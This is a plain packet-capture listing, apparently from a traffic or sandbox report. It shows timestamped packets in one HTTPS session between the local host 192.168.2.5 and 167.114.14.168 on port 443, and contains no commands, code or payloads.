Oct 2, 2024 06:10:10.648933887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.649110079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.649127960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.649188995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.649204016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.649251938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.649857998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.649879932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.649941921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.649961948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650015116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650154114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650170088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650234938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650249004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650310040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650389910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650412083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650484085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650511026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650578976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650651932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650681019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650727987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650741100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.650767088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.650787115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.652909040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.652926922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.652992964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.653007030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.653067112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.735557079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.735578060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.735661983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.735683918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.735768080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.737178087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.737195969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.737255096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.737265110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.737313986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.737646103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.737664938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.737723112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.737730026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.737742901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.737771988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738224983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738240004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738305092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738312960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738358974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738562107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738576889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738634109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738641977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738665104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738684893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738884926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738900900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.738962889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.738970995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.739013910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.739062071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.739077091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.739145994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.739156008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.739181995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.739197969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.741396904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.741413116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.741457939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.741465092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.741494894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.741513968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.824168921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.824186087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.824258089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.824271917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.824295998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.824310064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.825865984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.825886011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.825961113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.825970888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826019049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.826109886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826129913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826190948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.826199055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826246023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.826786041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826801062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826858997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.826867104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.826915979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827035904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827048063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827105045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827111959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827155113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827398062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827410936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827470064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827478886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827529907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827668905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827683926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827733994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827742100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.827780008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.827795982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.829874992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.829890013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.829961061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.829968929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.830012083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.912621975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.912642002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.912731886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.912748098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.912820101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.914418936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.914439917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.914501905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.914513111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.914561987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.914669037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.914685011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.914742947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.914750099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.914802074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.915359974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915374041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915436029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.915446043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915494919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.915653944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915668011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915750027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.915757895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915807009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.915899038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915914059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.915975094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.915982008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.916029930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.916275024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.916291952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.916346073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.916353941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.916398048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.919368029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.919394016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.919441938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.919450998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.919482946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.919497013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.001393080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.001418114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.001557112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.001591921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.001713991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.003227949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003248930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003340960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.003355026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003432989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.003499031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003521919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003587008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.003601074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003627062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.003657103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.003911018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003928900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.003999949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004013062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004065990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004195929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004215956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004283905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004297018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004364967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004436970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004457951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004511118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004523039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004573107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004596949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004785061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004800081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004884958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.004903078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.004975080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.007911921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.007925987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.008019924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.008034945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.008102894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.008138895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.089828968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.089857101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.089966059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.090029955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.090109110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.091846943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.091866016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.091939926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.091954947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092015028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.092122078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092139006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092196941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.092211008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092257977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.092514992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092531919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092600107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.092626095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092685938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.092835903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092852116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092926025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.092938900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.092986107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.093090057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.093106031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.093168020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.093183041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.093211889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.093235970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.093313932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.093327999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.093389988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.093401909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.093457937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.096961975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.096977949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.097047091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.097060919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.097115040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.178379059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.178400993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.178514004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.178531885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.178617954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.180255890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.180273056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.180356026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.180363894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.180408001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.180589914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.180609941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.180659056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.180665970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.180697918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.180723906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.181220055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181236982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181309938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.181317091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181369066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.181591034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181607008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181674957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.181682110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181729078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.181874990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181891918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.181967974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.181974888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.182019949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.182080984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.182095051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.182151079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.182157993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.182204008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.185441017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.185462952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.185549974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.185558081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.185606956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.266910076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.266930103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.267065048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.267085075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.267164946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.268773079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.268789053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.268862009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.268876076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.268930912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.269345045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269360065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269428968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.269443035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269499063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.269633055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269649982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269710064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.269723892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269779921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.269952059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.269967079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270029068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.270041943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270090103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.270301104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270314932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270373106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.270385981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270433903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.270546913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270562887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270618916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.270637989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.270669937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.270689011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.273403883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.274024010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.274043083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.274095058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.274107933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.274137974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.274157047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.356605053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.356621981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.356693983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.356726885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.356794119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.357454062 CEST	443	49715	167.114.14.168	192.168.2.5
